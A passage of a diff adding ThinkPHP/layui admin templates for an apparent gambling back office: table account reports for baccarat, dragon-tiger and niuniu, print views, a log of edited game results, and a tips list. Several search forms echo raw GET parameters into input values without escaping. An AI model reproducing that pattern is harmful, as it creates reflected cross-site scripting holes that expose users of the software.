<th style="text-align: center;">洗码量</th>
|
||||
<th style="text-align: center;">码量</th>
|
||||
<th style="text-align: center;">收益</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="table" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.bankerSum}</td>
|
||||
<td>{$vo.playerSum}</td>
|
||||
<td>{$vo.tieSum}</td>
|
||||
<td>{$vo.bankerPairSum}</td>
|
||||
<td>{$vo.playerPairSum}</td>
|
||||
<td>{$vo.bankerCount}</td>
|
||||
<td>{$vo.playerCount}</td>
|
||||
<td>{$vo.tieCount}</td>
|
||||
<td>{$vo.bankerPairCount}</td>
|
||||
<td>{$vo.playerPairCount}</td>
|
||||
<td>{$vo.bankerPlayerPairCount}</td>
|
||||
<td>{$vo.totalSum}</td>
|
||||
<td>{$vo.totalWinSum}</td>
|
||||
<td>{$vo.ximaliang}</td>
|
||||
<td>{$vo.totalMaliang}</td>
|
||||
<td>{$vo.income}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
<!-- 汇总信息 -->
|
||||
<tr style="border-left:1px solid #ddd;">
|
||||
<td colspan="11" style="border-left:none;"></td>
|
||||
<td>汇总</td>
|
||||
<td>{$total_baccarat.total_sum}</td>
|
||||
<td>{$total_baccarat.total_win_sum}</td>
|
||||
<td>{$total_baccarat.ximaliang}</td>
|
||||
<td>{$total_baccarat.total_maliang}</td>
|
||||
<td>{$total_baccarat.income}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,169 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.title-ag{height: 40px; line-height: 40px; background: #fdeeda; margin-top: 10px; text-align:center;}
|
||||
.title-ag span{font-size: 15px;}
|
||||
.layui-table td, .layui-table th{font-size:12px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">龙虎斗桌台账目</a>
|
||||
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/table/dt" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="table_id" id="table_id">
|
||||
<option value="-1" selected>请选择桌子</option>
|
||||
{foreach name="$table_list" item="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>桌号</th>
|
||||
<th>龙(下注额)</th>
|
||||
<th>虎(下注额)</th>
|
||||
<th>和(下注额)</th>
|
||||
<th>龙(次)</th>
|
||||
<th>虎(次)</th>
|
||||
<th>和(次)</th>
|
||||
<th>总押</th>
|
||||
<th>会员赢</th>
|
||||
<th>收益</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="table" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.bankerSum}</td>
|
||||
<td>{$vo.playerSum}</td>
|
||||
<td>{$vo.tieSum}</td>
|
||||
<td>{$vo.bankerCount}</td>
|
||||
<td>{$vo.playerCount}</td>
|
||||
<td>{$vo.tieCount}</td>
|
||||
<td>{$vo.totalSum}</td>
|
||||
<td>{$vo.totalWinSum}</td>
|
||||
<td>{$vo.income}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
<!-- 汇总信息 -->
|
||||
<tr style="border-left:1px solid #ddd;">
|
||||
<td colspan="6" style="border-left:none;"></td>
|
||||
<td>汇总</td>
|
||||
<td>{$total_dt.total_sum}</td>
|
||||
<td>{$total_dt.total_win_sum}</td>
|
||||
<td>{$total_dt.income}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
{$table->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/table/dt';
|
||||
// if(id == "2") location.href = '/player/player_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var table_id = qs["table_id"];
|
||||
if(startDate == undefined) startDate = '';
|
||||
if(endDate == undefined) endDate = '';
|
||||
if(table_id == undefined) table_id = '';
|
||||
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'龙虎斗桌台账目打印',
|
||||
content: '/table/dt_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var table_id = $('#table_id').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/table/dt?export=1&startDate="+startDate+"&endDate="+endDate+"&&table_id="+table_id;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,48 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">龙虎斗桌台账目</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">桌号</th>
|
||||
<th style="text-align: center;">龙(下注额)</th>
|
||||
<th style="text-align: center;">虎(下注额)</th>
|
||||
<th style="text-align: center;">和(下注额)</th>
|
||||
<th style="text-align: center;">龙(次)</th>
|
||||
<th style="text-align: center;">虎(次)</th>
|
||||
<th style="text-align: center;">和(次)</th>
|
||||
<th style="text-align: center;">总押</th>
|
||||
<th style="text-align: center;">会员赢</th>
|
||||
<th style="text-align: center;">收益</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="table" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.bankerSum}</td>
|
||||
<td>{$vo.playerSum}</td>
|
||||
<td>{$vo.tieSum}</td>
|
||||
<td>{$vo.bankerCount}</td>
|
||||
<td>{$vo.playerCount}</td>
|
||||
<td>{$vo.tieCount}</td>
|
||||
<td>{$vo.totalSum}</td>
|
||||
<td>{$vo.totalWinSum}</td>
|
||||
<td>{$vo.income}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
<!-- 汇总信息 -->
|
||||
<tr style="border-left:1px solid #ddd;">
|
||||
<td colspan="6" style="border-left:none;"></td>
|
||||
<td>汇总</td>
|
||||
<td>{$total_dt.total_sum}</td>
|
||||
<td>{$total_dt.total_win_sum}</td>
|
||||
<td>{$total_dt.income}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,100 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.title-ag{height: 40px; line-height: 40px; background: #fdeeda; margin-top: 10px; text-align:center;}
|
||||
.title-ag span{font-size: 15px;}
|
||||
.layui-table td, .layui-table th{font-size:12px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">牌桌结果修改记录</a>
|
||||
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/table/edit_numberTab" method="get">
|
||||
<div class="layui-input-block" >
|
||||
<select name="table_id" id="table_id">
|
||||
<option value="-1" selected>请选择桌子</option>
|
||||
{foreach name="$table_list" item="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="number_id" id="number_id" placeholder="铺ID" autocomplete="off" class="layui-input" value="<?php if(isset($get['number_id'])) {echo $get['number_id'];} ?>">
|
||||
<input type="text" name="boot_id" id="boot_id" placeholder="靴ID" autocomplete="off" class="layui-input" value="<?php if(isset($get['boot_id'])) {echo $get['boot_id'];} ?>">
|
||||
<input type="text" name="boot_num" id="boot_num" placeholder="靴号" autocomplete="off" class="layui-input" value="<?php if(isset($get['boot_num'])) {echo $get['boot_num'];} ?>">
|
||||
<input type="text" name="number" id="number" placeholder="铺号" autocomplete="off" class="layui-input" value="<?php if(isset($get['number'])) {echo $get['number'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>铺ID</th>
|
||||
<th>游戏类型</th>
|
||||
<th>桌子ID</th>
|
||||
<th>桌子名称</th>
|
||||
<th>靴ID</th>
|
||||
<th>靴号</th>
|
||||
<th>铺号</th>
|
||||
<th>修改前结果</th>
|
||||
<th>修改后结果</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="editData" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.game_name}</td>
|
||||
<td>{$vo.table_id}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.boot_id}</td>
|
||||
<td>{$vo.boot_num}</td>
|
||||
<td>{$vo.number}</td>
|
||||
<td>{$vo.before_result}</td>
|
||||
<td>{$vo.after_result}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$editData->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/table/dt';
|
||||
// if(id == "2") location.href = '/player/player_add';
|
||||
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,189 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.title-ag{height: 40px; line-height: 40px; background: #fdeeda; margin-top: 10px; text-align:center;}
|
||||
.title-ag span{font-size: 15px;}
|
||||
.layui-table td, .layui-table th{font-size:12px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">牛牛桌台账目</a>
|
||||
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/table/nn" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="table_id" id="table_id">
|
||||
<option value="-1" selected>请选择桌子</option>
|
||||
{foreach name="$table_list" item="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>桌号</th>
|
||||
<th>闲一</th>
|
||||
<th>闲一翻倍</th>
|
||||
<th>闲一-庄</th>
|
||||
<th>闲一-庄翻倍</th>
|
||||
<th>闲二</th>
|
||||
<th>闲二翻倍</th>
|
||||
<th>闲二-庄</th>
|
||||
<th>闲二-庄翻倍</th>
|
||||
<th>闲三</th>
|
||||
<th>闲三翻倍</th>
|
||||
<th>闲三-庄</th>
|
||||
<th>闲三-庄翻倍</th>
|
||||
<th>庄(次)</th>
|
||||
<th>闲一(次)</th>
|
||||
<th>闲二(次)</th>
|
||||
<th>闲三(次)</th>
|
||||
<th>总押</th>
|
||||
<th>会员赢</th>
|
||||
<th>收益</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="table" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.amount_player_1_Sum}</td>
|
||||
<td>{$vo.amount_player_1_times_Sum}</td>
|
||||
<td>{$vo.amount_player_1_banker_Sum}</td>
|
||||
<td>{$vo.amount_player_1_banker_times_Sum}</td>
|
||||
<td>{$vo.amount_player_2_Sum}</td>
|
||||
<td>{$vo.amount_player_2_times_Sum}</td>
|
||||
<td>{$vo.amount_player_2_banker_Sum}</td>
|
||||
<td>{$vo.amount_player_2_banker_times_Sum}</td>
|
||||
<td>{$vo.amount_player_3_Sum}</td>
|
||||
<td>{$vo.amount_player_3_times_Sum}</td>
|
||||
<td>{$vo.amount_player_3_banker_Sum}</td>
|
||||
<td>{$vo.amount_player_3_banker_times_Sum}</td>
|
||||
<td>{$vo.win_banker}</td>
|
||||
<td>{$vo.win_player_1}</td>
|
||||
<td>{$vo.win_player_2}</td>
|
||||
<td>{$vo.win_player_3}</td>
|
||||
<td>{$vo.totalSum}</td>
|
||||
<td>{$vo.totalWinSum}</td>
|
||||
<td>{$vo.income}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
<!-- 汇总信息 -->
|
||||
<tr style="border-left:1px solid #ddd;">
|
||||
<td colspan="16" style="border-left:none;"></td>
|
||||
<td>汇总</td>
|
||||
<td>{$total_nn.total_sum}</td>
|
||||
<td>{$total_nn.total_win_sum}</td>
|
||||
<td>{$total_nn.income}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
{$table->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/table/dn';
|
||||
// if(id == "2") location.href = '/player/player_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var table_id = qs["table_id"];
|
||||
if(startDate == undefined) startDate = '';
|
||||
if(endDate == undefined) endDate = '';
|
||||
if(table_id == undefined) table_id = '';
|
||||
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'龙虎斗桌台账目打印',
|
||||
content: '/table/nn_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var table_id = $('#table_id').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/table/nn?export=1&startDate="+startDate+"&endDate="+endDate+"&table_id="+table_id;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,68 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">牛牛桌台账目</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">桌号</th>
|
||||
<th style="text-align: center;">闲一</th>
|
||||
<th style="text-align: center;">闲一翻倍</th>
|
||||
<th style="text-align: center;">闲一-庄</th>
|
||||
<th style="text-align: center;">闲一-庄翻倍</th>
|
||||
<th style="text-align: center;">闲二</th>
|
||||
<th style="text-align: center;">闲二翻倍</th>
|
||||
<th style="text-align: center;">闲二-庄</th>
|
||||
<th style="text-align: center;">闲二-庄翻倍</th>
|
||||
<th style="text-align: center;">闲三</th>
|
||||
<th style="text-align: center;">闲三翻倍</th>
|
||||
<th style="text-align: center;">闲三-庄</th>
|
||||
<th style="text-align: center;">闲三-庄翻倍</th>
|
||||
<th style="text-align: center;">庄(次)</th>
|
||||
<th style="text-align: center;">闲一(次)</th>
|
||||
<th style="text-align: center;">闲二(次)</th>
|
||||
<th style="text-align: center;">闲三(次)</th>
|
||||
<th style="text-align: center;">总押</th>
|
||||
<th style="text-align: center;">会员赢</th>
|
||||
<th style="text-align: center;">收益</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="table" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.amount_player_1_Sum}</td>
|
||||
<td>{$vo.amount_player_1_times_Sum}</td>
|
||||
<td>{$vo.amount_player_1_banker_Sum}</td>
|
||||
<td>{$vo.amount_player_1_banker_times_Sum}</td>
|
||||
<td>{$vo.amount_player_2_Sum}</td>
|
||||
<td>{$vo.amount_player_2_times_Sum}</td>
|
||||
<td>{$vo.amount_player_2_banker_Sum}</td>
|
||||
<td>{$vo.amount_player_2_banker_times_Sum}</td>
|
||||
<td>{$vo.amount_player_3_Sum}</td>
|
||||
<td>{$vo.amount_player_3_times_Sum}</td>
|
||||
<td>{$vo.amount_player_3_banker_Sum}</td>
|
||||
<td>{$vo.amount_player_3_banker_times_Sum}</td>
|
||||
<td>{$vo.win_banker}</td>
|
||||
<td>{$vo.win_player_1}</td>
|
||||
<td>{$vo.win_player_2}</td>
|
||||
<td>{$vo.win_player_3}</td>
|
||||
<td>{$vo.totalSum}</td>
|
||||
<td>{$vo.totalWinSum}</td>
|
||||
<td>{$vo.income}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
<!-- 汇总信息 -->
|
||||
<tr style="border-left:1px solid #ddd;">
|
||||
<td colspan="16" style="border-left:none;"></td>
|
||||
<td>汇总</td>
|
||||
<td>{$total_nn.total_sum}</td>
|
||||
<td>{$total_nn.total_win_sum}</td>
|
||||
<td>{$total_nn.income}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,70 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/tip/index" method="get">
|
||||
<input type="text" name="username" id="username" placeholder="请输入账户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户ID</th>
|
||||
<th>用户账号</th>
|
||||
<th>桌子ID</th>
|
||||
<th>桌子名称</th>
|
||||
<th>打赏时间</th>
|
||||
<th>打赏金额</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="tip_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.user_id}</td>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.table_id}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.money}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$tip_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/tip/index?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,174 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
